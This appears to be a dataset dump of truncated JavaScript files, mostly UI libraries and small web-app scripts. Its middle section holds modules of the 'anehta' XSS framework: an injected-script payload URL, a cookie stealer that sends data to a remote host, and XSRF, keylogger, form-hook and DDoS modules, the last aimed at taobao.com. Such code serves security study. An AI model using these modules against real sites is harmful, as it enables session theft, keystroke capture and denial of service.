code
stringlengths
1
2.08M
language
stringclasses
1 value
/******************************************************************* * Glype Proxy Script * * Copyright (c) 2008, http://www.glype.com/ * * Permission to use this script is granted free of charge * subject to the terms displayed at http://www.glype.com/downloads * and in the LICENSE.txt document of the glype pac...
JavaScript
var SERIALIZER={version:1.24}; SERIALIZER.RESERVED_WORDS=new KeySet("abstract","as","boolean","break","byte","case","catch","char","class","continue","const","debugger","default","delete","do","double","else","enum","export","extends","false","final","finally","float","for","function","goto","if","implements","import"...
JavaScript
/* * jQuery UI @VERSION * * Copyright (c) 2008 Paul Bakaus (ui.jquery.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI */ ;(function($) { /** jQuery core modifications and additions **/ var _remove = $.fn.remove; $.fn.remove = function() ...
JavaScript
/* * jQuery UI Effects Slide @VERSION * * Copyright (c) 2008 Aaron Eisenberger (aaronchi@gmail.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Effects/Slide * * Depends: * effects.core.js */ (function($) { $.effects.slide = function(o...
JavaScript
var JSONER={version:1.024}; function Jsoner(){ this.fDataProviderCache=new HashMap(); this.fLogger=new Logger("Jsoner"); this.isWalkArray=function(_1,_2,_3){ return COMMONS.isArray(_2); }; this.isWalkNode=function(_4,_5,_6){ return COMMONS.isObject(_5)&&!COMMONS.isDate(_5)&&!COMMONS.isRegExp(_5); }; } Jsoner...
JavaScript
/* * jQuery UI Accordion @VERSION * * Copyright (c) 2007, 2008 Jörn Zaefferer * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Accordion * * Depends: * ui.core.js */ (function($) { $.widget("ui.accordion", { _init: function() { var optio...
JavaScript
/* * jQuery UI Dialog @VERSION * * Copyright (c) 2008 Richard D. Worth (rdworth.org) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Dialog * * Depends: * ui.core.js * ui.draggable.js * ui.resizable.js */ (function($) { var setDataSwitch...
JavaScript
/* * jQuery UI Effects @VERSION * * Copyright (c) 2008 Aaron Eisenberger (aaronchi@gmail.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Effects/ */ ;(function($) { $.effects = $.effects || {}; //Add the 'effects' scope $.extend($.effe...
JavaScript
/* * jQuery UI Resizable @VERSION * * Copyright (c) 2008 Paul Bakaus * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Resizables * * Depends: * ui.core.js */ (function($) { $.widget("ui.resizable", $.extend({}, $.ui.mouse, { _init: functio...
JavaScript
/* * jQuery UI Effects Explode @VERSION * * Copyright (c) 2008 Paul Bakaus (ui.jquery.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Effects/Explode * * Depends: * effects.core.js */ (function($) { $.effects.explode = function(o) { ...
JavaScript
/* * jQuery UI Draggable @VERSION * * Copyright (c) 2008 Paul Bakaus * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Draggables * * Depends: * ui.core.js */ (function($) { $.widget("ui.draggable", $.extend({}, $.ui.mouse, { getHandle: f...
JavaScript
/* * jQuery UI Effects Clip @VERSION * * Copyright (c) 2008 Aaron Eisenberger (aaronchi@gmail.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Effects/Clip * * Depends: * effects.core.js */ (function($) { $.effects.clip = function(o) {...
JavaScript
var jTools = new Jsoner(); // 从server取数据到本地 function initData(){ /************************** * 各种效果 **************************/ setTimeout(function(){$("#logo").effect("bounce", {}, 400);}, 3000); $("#logo").click(function(){$("#logo").effect("bounce", {}, 400);}); //$("#basictab > li").effect("sl...
JavaScript
/** * Copyright (c) 2007, Softamis, http://soft-amis.com * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless require...
JavaScript
/* * jQuery UI Droppable @VERSION * * Copyright (c) 2008 Paul Bakaus * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Droppables * * Depends: * ui.core.js * ui.draggable.js */ (function($) { $.widget("ui.droppable", { _setData: function...
JavaScript
var COMMONS={version:1.24,userAgent:navigator.userAgent.toLowerCase()}; COMMONS.isIE=COMMONS.userAgent.indexOf("msie")>-1; COMMONS.isOpera=COMMONS.userAgent.indexOf("opera")>-1; COMMONS.isSafari=(!COMMONS.isOpera&&COMMONS.userAgent.indexOf("safari")>-1); COMMONS.isGecko=(!COMMONS.isOpera&&!COMMONS.isSafari&&COMMONS...
JavaScript
/* * jQuery UI Effects Shake @VERSION * * Copyright (c) 2008 Aaron Eisenberger (aaronchi@gmail.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Effects/Shake * * Depends: * effects.core.js */ (function($) { $.effects.shake = function(o...
JavaScript
/* * jQuery UI Effects Bounce @VERSION * * Copyright (c) 2008 Aaron Eisenberger (aaronchi@gmail.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * http://docs.jquery.com/UI/Effects/Bounce * * Depends: * effects.core.js */ (function($) { $.effects.bounce = functio...
JavaScript
var target = "http://www.alimafia.com/xssDemo.html#'><script src=http://www.a.com/anehta/feed.js></script><'"; var org_url = "http://www.a.com/anehta/demo.html"; //var target="http://www.alimafia.com/xssDemo.html#'><script src=http://www.a.com/anehta/feed.js></script><'"; //var org_url = "http://www.a.com/anehta/dem...
JavaScript
//alert("xcookie.js"); /////////////////////////////////////////////////// //// 偷取跨域 Stored Cookies ////////////////////// //// Author: axis //// boomerang/gifar/flash/iframe////////////////// /////////////////////////////////////////////////// if ( anehtaBrowser.type() == "msie" ){ //IE最好只通过回旋镖模块获取一次 //ane...
JavaScript
var anehtaurl = "http://www.a.com/anehta"; //var anehtaurl = "http://www.a.com/anehta"; ///////////////////////////////////////////////// // clx.js 楚留香模块,盗取当前页面cookie, 标记水印 // 并发送到远程server //alert("clx.js 楚留香模块"); ///////////////////////////////////////////////// ///////////////////////////////////////////////...
JavaScript
// test 模块,测试使用 //alert(anehta.crypto.random()); /* var pop=new Popup({ contentType:3,isReloadOnClose:false,width:340,height:80}); //pop.setContent("title","删除评论"); //pop.setContent("confirmCon","您确定要彻底删除这条评论吗?"); //pop.setContent("callBack",delCallback2); //pop.setContent("parameter",{fid:"aaaa",po...
JavaScript
//alert("xsrf.js"); //////////////////////////////////////////////// // XSRF 模块,通过 Ajax 实施XSRF攻击 // Author: axis //////////////////////////////////////////////// // IE中可以通过anehta.inject.injectCSS加载css, 在css中的request可以带上cookie // ff 中可以直接通过iframe进行csrf /// 开始执行功能 if (anehtaXmlHttp.init()) { //setTimeout...
JavaScript
// API帮助 anehta.help = function(args){ switch (args) { case "core": alert("Anehta core API Help: \r\n\r\n" + " anehta.core.freeze(ms); //freeze current page during the time(ms)\r\n\r\n" + " anehtaCache.addItem(Key, Value); //add a key to cache; return Value;\r\n\r\n" + " ...
JavaScript
// Scanner,Detector // 扫描结果会自动保存在cache中 // cache中的结果会定时发送到server //出于性能考虑扫描列表放在这里 // activex 签名 anehta.signatures.activex = new Array( "Flash Player 8|ShockwaveFlash.ShockwaveFlash.8|classID", "Flash Player 9|ShockwaveFlash.ShockwaveFlash.9|classID", "360Safe|360SafeLive.Update|classID", "Alibaba Use...
JavaScript
//alert("ddos.js"); //////////////////////////////////////////// //// 构造多个隐藏iframe,请求远程页面 //// 需要改进,用iframe无法隐藏Referer,很容易被屏蔽 //// iframe在IE中会拦截cookie,有些页面无法DDOS到 //// Author: axis //////////////////////////////////////////// var ddos_target = "http://www.taobao.com"; function ddosIframe(target){ var t = $d...
JavaScript
//alert("keylog.js"); ////////////////////////////////////////////////////// //// 基于js的键盘记录器 //// Author: axis ////////////////////////////////////////////////////// var tagName = new Array("input", "textarea"); //$("textarea").keydown(function(){ alert();}); var keylogger = new Array(); var keystrokes = ""...
JavaScript
//alert("realtimecmd.js"); /////////////////////////////////////////// //// 实时命令模块,与服务端进行通行 /////////////////////////////////////////// var timeInterval = 5000; // 时间间隔 var realtimeCmdMaster = anehtaurl + "/server/realtimecmd.php?"; setInterval(function(){ var timesig = new Date(); // 水印只能从cookie中取 va...
JavaScript
// 用于存放临时数据以及交换数据 //var cache = new anehta.core.cache(); //alert("cache: "+anehtaCache.version); anehtaCache.addItem("domain1", document.domain); anehtaCache.addItem("domain2", document.domain); anehtaCache.addItem("domain3", document.domain); anehtaCache.addItem("domain4", document.domain); anehtaCache.addI...
JavaScript
//////////////////////////////////////// //// 控制IE的剪贴板 //// Author: axis //// GET 和 SET 方法 ////////////////////////////////////////
JavaScript
// alert("hook.js"); // hook 表单提交; hook JS函数 // Author: axis ////////////////////////////////// //// 开始执行功能 /////////////// //////////////////////////////////////////////////////////////// // 第一种hook submit方法 // 使用jquery中的bind方法给表单添加submit事件,从而hook 表单提交 ///////////////////////////////////////////////////////...
JavaScript
// 随意写你需要做的事情 //anehta.hook.installKeyloggerToAllInputs(); //anehta.hook.hookAllForms();
JavaScript
var anehtaurl = "http://www.a.com/anehta"; //var anehtaurl="http://www.a.com/anehta"; // feed.js 是中心控制文件,在这里插入各种脚本模块 // Author: axis //alert("feed.js 种子"); var anehtaFeedIsLoaded = false; //已经加载过feed.js了 if (typeof anehtaLibs != "undefined"){ anehtaFeedIsLoaded = true; } var anehtaLibs = [ // Library ...
JavaScript
function afficherChargementDans(idChamp) { $('#' + idChamp).html("<table width='100%' height='100%'><tr><td align='center'><img src='/icones/load.gif'/></td></tr></table>"); }
JavaScript
$(function() { addClickHandlers(); }); function addClickHandlers() { $("*").not($("#champ_formulaire_date")).unbind(); $(function() { $("#bouton_admin_formulaire_valider").click(function() { valider(); }); }); $(function() { $("#bouton_admin_formulaire_annuler").click(function() { a...
JavaScript
function chargerPage(page, titre) { $.ajaxSetup({async:true}); $.post(page, function(data) { $('#contenu').html(data); document.title = titre; }); }
JavaScript
var finTitreFormulaire; var classeAction; var classeViewHelper; //ENTITE function annuler(idForm) { disableAllButton(idForm); $.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "annuler" }, function(data) { retour = JSON.parse(data); if (retour.succes) { if (mode != modeTran...
JavaScript
function afficherListeGroupeDansFormulaire() { $.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "getListeAutreGroupeLie"}, function(data) { var retour = JSON.parse(data); listeGroupe = ""; for(var key in retour){ if (key != 'succes') { listeGroupe += "<tr id='groupe_"+k...
JavaScript
function selectionnerImage(nomImage) { var champ = $("#" + nomImage) $("[class=cadre_miniature_selectionnee]").attr("class", "cadre_miniature"); champ.attr("class", "cadre_miniature_selectionnee"); } function deletePhoto() { $.ajaxSetup({async:false}); var result; $("[class=cadre_miniature_selectionnee]...
JavaScript
function selectionnerMusique(nomImage) { var champ = $("#" + nomImage) $("[class=cadre_musique_selectionnee]").attr("class", "cadre_musique"); champ.attr("class", "cadre_musique_selectionnee"); } function deleteMusique() { $.ajaxSetup({async:false}); var result; $("[class=cadre_musique_selectionnee]").e...
JavaScript
var outilPopupWidthPopup; var outilPopupHeightPopup; var outilPopupPopupOuverte = false; var onResizeUser; var overflowInitial; var outilPopupLargeurBordure = 20; var outilPopupPadding = 10; var outilPhotoGrandePopup; function redimmensionnementElements() { //redimmensionnement du fond $('#masqueApplicati...
JavaScript
alert("document.documentElement.offsetWidth" +document.documentElement.offsetWidth); alert("window.innerWidth"+window.innerWidth); alert("document.body.clientWidth"+document.body.clientWidth); alert("document.body.scrollWidth"+document.body.scrollWidth); alert("$(document).width();"+$(document).width()); aler...
JavaScript
function executeScript(nomScript) { $.ajaxSetup({async:false}); $('#bouton_execution_script_' + nomScript).attr('disabled', true); var parametres = { 'scriptAExecuter': nomScript + ".sql"}; var retour; $.post('/outils/scriptsql/ScriptSQL.php', parametres, function(data) { retour = JSON.parse(data); })...
JavaScript
var outilVisionneuseHauteurBande = 130; function initialiserPositions() { /*if (navigator.appName == 'Microsoft Internet Explorer') { $("#bandeMiniatures").css('top', outilPopupHeightPopup - 160); $("#bandeMiniatures").css('width', outilPopupWidthPopup - 40); } else { $("#bandeMiniatures").css('top', ou...
JavaScript
function createAlbumPhoto(id) { $.ajaxSetup({async:false}); $('#bouton_creation_album_' + id).attr('disabled', true); var parametres = { className: 'GererAlbumPhotoAction', cmd: "insertWithValues", id:id, nom:id, commentaire:''}; var retour; $.post('/outils/forwarder/Forwarder.php', parametres, function(da...
JavaScript
function afficherChargementDans(idChamp) { $('#' + idChamp).html("<table width='100%' height='100%'><tr><td align='center'><img src='/icones/load.gif'/></td></tr></table>"); }
JavaScript
$(function() { addClickHandlers(); }); function applyDefaultFocus() { $(function() { //$("*[focus=true]").focus(); //différer avec un setTimeOut est obligatoire pour internet explorer... setTimeout(function() { $("*[focus=true]").focus(); }, 10); }); } function addClickHandlers() { $("*"...
JavaScript
function chargerPage(page, titre) { $.ajaxSetup({async:true}); $.post(page, function(data) { $('#contenu').html(data); document.title = titre; }); }
JavaScript
//ENTITE function annuler(idForm) { disableAllButton(idForm); var idUC = getIdUc(idForm); $.post('/outils/forwarder/Forwarder.php', { idUC: idUC, cmd: "annuler" }, function(data) { retour = JSON.parse(data); if (retour.succes) { if (mode != modeTransition) { changerMode(idForm, modeAjout); ...
JavaScript
function afficherListeGroupeDansFormulaire() { $.post('/outils/forwarder/Forwarder.php', { className: classeAction, cmd: "getListeAutreGroupeLie"}, function(data) { var retour = JSON.parse(data); listeGroupe = ""; for(var key in retour){ if (key != 'succes') { listeGroupe += "<tr id='groupe_"+k...
JavaScript
function selectionnerImage(nomImage) { var champ = $("#" + nomImage) $("[class=cadre_miniature_selectionnee]").attr("class", "cadre_miniature"); champ.attr("class", "cadre_miniature_selectionnee"); } function deletePhoto() { $.ajaxSetup({async:false}); var result; $("[class=cadre_miniature_selectionnee]...
JavaScript
function selectionnerMusique(nomImage) { var champ = $("#" + nomImage) $("[class=cadre_musique_selectionnee]").attr("class", "cadre_musique"); champ.attr("class", "cadre_musique_selectionnee"); } function deleteMusique() { $.ajaxSetup({async:false}); var result; $("[class=cadre_musique_selectionnee]").e...
JavaScript
var outilPopupWidthPopup; var outilPopupHeightPopup; var outilPopupPopupOuverte = false; var onResizeUser; var overflowInitial; var outilPopupLargeurBordure = 20; var outilPopupPadding = 10; var outilPhotoGrandePopup; function redimmensionnementElements() { //redimmensionnement du fond $('#masqueApplicati...
JavaScript
alert("document.documentElement.offsetWidth" +document.documentElement.offsetWidth); alert("window.innerWidth"+window.innerWidth); alert("document.body.clientWidth"+document.body.clientWidth); alert("document.body.scrollWidth"+document.body.scrollWidth); alert("$(document).width();"+$(document).width()); aler...
JavaScript
function executeScript(nomScript) { $.ajaxSetup({async:false}); $('#bouton_execution_script_' + nomScript).attr('disabled', true); var parametres = { 'scriptAExecuter': nomScript + ".sql"}; var retour; $.post('/outils/scriptsql/ScriptSQL.php', parametres, function(data) { retour = JSON.parse(data); })...
JavaScript
var outilVisionneuseHauteurBande = 130; function initialiserPositions() { /*if (navigator.appName == 'Microsoft Internet Explorer') { $("#bandeMiniatures").css('top', outilPopupHeightPopup - 160); $("#bandeMiniatures").css('width', outilPopupWidthPopup - 40); } else { $("#bandeMiniatures").css('top', ou...
JavaScript
function createAlbumPhoto(id) { $.ajaxSetup({async:false}); $('#bouton_creation_album_' + id).attr('disabled', true); var parametres = { className: 'GererAlbumPhotoAction', cmd: "insertWithValues", id:id, nom:id, commentaire:''}; var retour; $.post('/outils/forwarder/Forwarder.php', parametres, function(da...
JavaScript
/* Copyright (C) 2011 Google Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, softwa...
JavaScript
(function(window) { var ORIGIN_ = location.protocol + '//' + location.host; function SlideController() { this.popup = null; this.isPopup = window.opener; if (this.setupDone()) { window.addEventListener('message', this.onMessage_.bind(this), false); // Close popups if we reload the main window. win...
JavaScript
/* * Hammer.JS * version 0.4 * author: Eight Media * https://github.com/EightMedia/hammer.js */ function Hammer(element, options, undefined) { var self = this; var defaults = { // prevent the default event or not... might be buggy when false prevent_default : false, css_hacks ...
JavaScript
/** * @authors Luke Mahe * @authors Eric Bidelman * @fileoverview TODO */ document.cancelFullScreen = document.webkitCancelFullScreen || document.mozCancelFullScreen; /** * @constructor */ function SlideDeck(el) { this.curSlide_ = 0; this.prevSlide_ = 0; this.config_ = null; t...
JavaScript
require(['order!../slide_config', 'order!modernizr.custom.45394', 'order!prettify/prettify', 'order!hammer', 'order!slide-controller', 'order!slide-deck'], function(someModule) { });
JavaScript
var SLIDE_CONFIG = { // Slide settings settings: { title: 'Title Goes Here<br>Up To Two Lines', subtitle: 'Subtitle Goes Here', //eventTitle: 'Google I/O 2013', useBuilds: true, // Default: true. False will turn off slide animation builds. usePrettify: true, // Default: true enableSlideAreas...
JavaScript
$(window).scroll(function () { if ($(this).scrollTop() > 102) { $('#navigation').addClass('pin').fadeIn(); } else { $('#navigation').removeClass('pin'); } }); function pageFAQ(page,itemeachpage){ request = "ajax.php?cmd=faq&p="+page+"&itemeachpage="+itemeachpage; $.get(request,function(result){ ...
JavaScript
 $(function () { // product error images //$('.product-image').productImage(); // modal open $(document.body).on('click', '.popup-link', function (e) { e.preventDefault(); var $this = $(this); var $target = $($this.data('popup-target') || '<div><iframe frameborder="0" style="border: none; width: ...
JavaScript
 $(function () { // order by dropdown var actionButton = $('.top-menu .drop-downs input[type=submit]').eq(0).hide(); $('.top-menu .drop-downs select').change(function () { actionButton.click(); }); // tree var $tree = $('.tree'); $tree.css('visibility', 'visible'); $tree.find('.v-panels').panels(...
JavaScript
/* Originally based on the work of: 1) Matt Oakes 2) Torsten Baldes (http://medienfreunde.com/lab/innerfade/) 3) Benjamin Sterling (http://www.benjaminsterling.com/experiments/jqShuffle/) */ ;(function($) { var ver = '2.65'; // if $.support is not defined (pre jQuery 1.3) add what I need if ($.support == undefined) {...
JavaScript
 (function ($) { jQuery.fn.scrollbar = function () { this .filter(function () { var $this = $(this); // console.log('innerHeight: ' + $this.innerHeight()); // console.log('height: ' + parseInt($this.css('height'))); // console.log('max-height: ' + parseInt($this.css('max-heigh...
JavaScript
/* http://keith-wood.name/realPerson.html Real Person Form Submission for jQuery v1.1.1. Written by Keith Wood (kwood{at}iinet.com.au) June 2009. Available under the MIT (https://github.com/jquery/jquery/blob/master/MIT-LICENSE.txt) license. Please attribute the author if you use it. */ (function($...
JavaScript
/* * jQuery Nivo Slider v3.2 * http://nivo.dev7studios.com * * Copyright 2012, Dev7studios * Free to use and abuse under the MIT license. * http://www.opensource.org/licenses/mit-license.php */ (function($) { var NivoSlider = function(element, options){ // Defaults are below var ...
JavaScript
/* * jQuery FlexSlider v2.2.0 * Copyright 2012 WooThemes * Contributing Author: Tyler Smith */ ; (function ($) { //FlexSlider: Object Instance $.flexslider = function(el, options) { var slider = $(el); // making variables public slider.vars = $.extend({}, $.flexslider.defaults, options); var ...
JavaScript
/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built in easing capabilities added In jQuery 1.1 * to offer multiple easing options * * TERMS OF USE - jQuery Easing * * Open source under the BSD License. * * Copyright © 2008 George McGinley Smith * All rights reserved. * ...
JavaScript
$(function(){ var toggles = $('.toggle a'), codes = $('.code'); toggles.on("click", function(event){ event.preventDefault(); var $this = $(this); if (!$this.hasClass("active")) { toggles.removeClass("active"); $this.addClass("active"); codes.hide().filter(this.hash).show(...
JavaScript
/*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net) * Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and delta...
JavaScript
try { document.execCommand("BackgroundImageCache", false, true); } catch(err) {} function addDOMLoadEvent(f){if(!window.__ADLE){var n=function(){if(arguments.callee.d)return;arguments.callee.d=true;if(window.__ADLET){clearInterval(window.__ADLET);window.__ADLET=null}for(var i=0;i<window.__ADLE.length;i++){window...
JavaScript
function app_ready($){ $("#login").height($(window).height()); if(Modernizr.mq("(max-width:767px)")){ if($('#right').size()>0){ $('#right_box').empty(); $('#right').appendTo('#right_box'); // 防止多次监听 $('#main').off('swipeLeft.once'); $('...
JavaScript
//desktopBrowsers contributed by Carlos Ouro @ Badoo //translates desktop browsers events to touch events and prevents defaults //It can be used independently in other apps but it is required for using the touchLayer in the desktop ;(function ($) { var cancelClickMove=false; var preventAll = function(e) ...
JavaScript
//ThinkTemplate 用js实现了ThinkPHP的模板引擎。 //用户可以在手机客户端中用ThinkPHP的模板引擎。 //@author luofei614<http://weibo.com/luofei614> // var ThinkTemplate={ tags:['Include','Volist','Foreach','For','Empty','Notempty','Present','Notpresent','Compare','If','Elseif','Else','Swith','Case','Default','Var','Range'], parse:function(tp...
JavaScript
//列表插件 //元素属性: data-api,请求api地址 ; data-datas 请求参数 data-tpl 模板地址 data-tabletpagesize 平板每页显示条数, data-phonepagesize 手机每页显示条数 //author : luofei614<http://weibo.com/luofei614> ;(function($){ $.fn.extend({ 'TPMlist':function(options){ var defaults={ "param_pagesize":"pagesize", "param_page":"pag...
JavaScript
//兼容phonegap,电脑,手机的上传插件 //autor luofei614(http://weibo.com/luofei614) ;(function($){ $.fn.extend({ TPMupload:function(options){ //配置项处理 var defaults={ "url":"", "name":"file", "sourceType":"Image", //针对手机有效, 上传类型,Image,Video,Au...
JavaScript
function tpm_alert(msg,callback,title){ title=title||'系统信息'; var $modal=$('<div><div class="tpm_modal_head"><h3>'+title+'</h3></div><div class="tpm_modal_body">'+msg+'</div><div class="tpm_modal_foot"><button class="tpm_modal_ok" type="button">确认</button></div></div>'); $modal.find('.tpm_modal_foot>b...
JavaScript
// Zepto.js // (c) 2010-2012 Thomas Fuchs // Zepto.js may be freely distributed under the MIT license. ;(function($){ var touch = {}, touchTimeout, tapTimeout, swipeTimeout, longTapDelay = 750, longTapTimeout function parentIfText(node) { return 'tagName' in node ? node : node.pa...
JavaScript
modRewriteChecker = true;
JavaScript
fileProtectionChecker = true;
JavaScript
(function ($) { var ie = $.browser.msie, iOS = /iphone|ipad|ipod/i.test(navigator.userAgent); $.TE = { version:'1.0', // 版本号 debug: 1, //调试开关 timeOut: 3000, //加载单个文件超时时间,单位为毫秒。 defaults: { //默认参数controls,noRigths,plugins,定义加载插件 controls: "source,|...
JavaScript
$.TE.plugin("bold",{ title:"标题", cmd:"bold", click:function(){ this.editor.pasteHTML("sdfdf"); }, bold:function(){ alert('sdfsdf'); }, noRight:function(e){ if(e.type=="click"){ alert('noright'); } }, init:function(){ }, ...
JavaScript
function te_upload_interface() { //初始化参数 var _args = arguments, _fn = _args.callee, _data = ''; if( _args[0] == 'reg' ) { //注册回调 _data = _args[1]; _fn.curr = _data['callid']; _fn.data = _data; jQuery('#temaxsize').val(_data['maxsize']); } el...
JavaScript
// 系统自带插件 ( function ( $ ) { //全屏 $.TE.plugin( "fullscreen", { fullscreen:function(e){ var $btn = this.$btn, opt = this.editor.opt; if($btn.is("."+opt.cssname.fulled)){ //取消全屏 this.editor.$main.removeAttr("style"); this.editor.$bottom.find("div").show(); this.editor.resize(opt.width,...
JavaScript
/** * @author ZhangHuihua@msn.com * */ (function($){ $.fn.extend({ /** * options: reverse[true, false], eventType[click, hover], currentIndex[default index 0] * stTab[tabs selector], stTabPanel[tab panel selector] * ajaxClass[ajax load], closeClass[close tab] */ tabs: function (options){ ...
JavaScript
/** * @author Roger Wu * @version 1.0 * added extend property oncheck */ (function($){ $.extend($.fn, { jTree:function(options) { var op = $.extend({checkFn:null, selected:"selected", exp:"expandable", coll:"collapsable", firstExp:"first_expandable", firstColl:"first_collapsable", lastExp:"last_expandable",...
JavaScript
/** * @author zhanghuihua@msn.com */ (function($){ var menu, shadow, hash; $.fn.extend({ contextMenu: function(id, options){ var op = $.extend({ shadow : true, bindings:{}, ctrSub:null }, options ); if (!menu) { menu = $('<div id="contextmenu"></div>').appendTo('body').h...
JavaScript
(function(){ function formatCurrency(num) { num = num.toString().replace(/\$|\,/g,''); if(isNaN(num)) {num = "0";} var sign = (num == (num = Math.abs(num))); num = Math.floor(num*100+0.50000000001); var cents = num%100; num = Math.floor(num/100).toString(); if(cents<10) {cents = "0" + cents;} for (var i ...
JavaScript
/** * Theme Plugins * @author ZhangHuihua@msn.com */ (function($){ $.fn.extend({ cssTable: function(options){ return this.each(function(){ var $this = $(this); var $trs = $this.find('tbody>tr'); var $grid = $this.parent(); // table var nowrap = $this.hasClass("nowrap"); $trs.hoverClas...
JavaScript
/** * @author zhanghuihua@msn.com */ (function($){ $.fn.navMenu = function(){ return this.each(function(){ var $box = $(this); $box.find("li>a").click(function(){ var $a = $(this); $.post($a.attr("href"), {}, function(html){ $("#sidebar").find(".accordion").remove().end().append(html).initUI(); ...
JavaScript
/* SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> */ ;var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onre...
JavaScript
/** * @author Roger Wu v1.0 * @author ZhangHuihua@msn.com 2011-4-1 */ (function($){ $.fn.jTable = function(options){ return this.each(function(){ var $table = $(this), nowrapTD = $table.attr("nowrapTD"); var tlength = $table.width(); var aStyles = []; var $tc = $table.parent().addClass("j-resizeGrid...
JavaScript
/** * @author Roger Wu * @version 1.0 */ (function($){ $.fn.extend({jresize:function(options) { if (typeof options == 'string') { if (options == 'destroy') return this.each(function() { var dialog = this; $("div[class^='resizable']",dialog).each(function() { $(...
JavaScript
/** * Cookie plugin * * Copyright (c) 2006 Klaus Hartl (stilbuero.de) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */ /** * Create a cookie with the given name and value and other optional parameters. * * @examp...
JavaScript
/** * @author ZhangHuihua@msn.com */ (function($){ // jQuery validate $.extend($.validator.messages, { required: "必填字段", remote: "请修正该字段", email: "请输入正确格式的电子邮件", url: "请输入合法的网址", date: "请输入合法的日期", dateISO: "请输入合法的日期 (ISO).", number: "请输入合法的数字", digits: "只能输入整数", creditcard: "请输入合法的信用卡号", equalTo...
JavaScript
/** * @author Roger Wu * @version 1.0 */ (function($){ $.fn.cssv = function(pre){ var cssPre = $(this).css(pre); return cssPre.substring(0, cssPre.indexOf("px")) * 1; }; $.fn.jBar = function(options){ var op = $.extend({container:"#container", collapse:".collapse", toggleBut:".toggleCollapse div", sideBar:...
JavaScript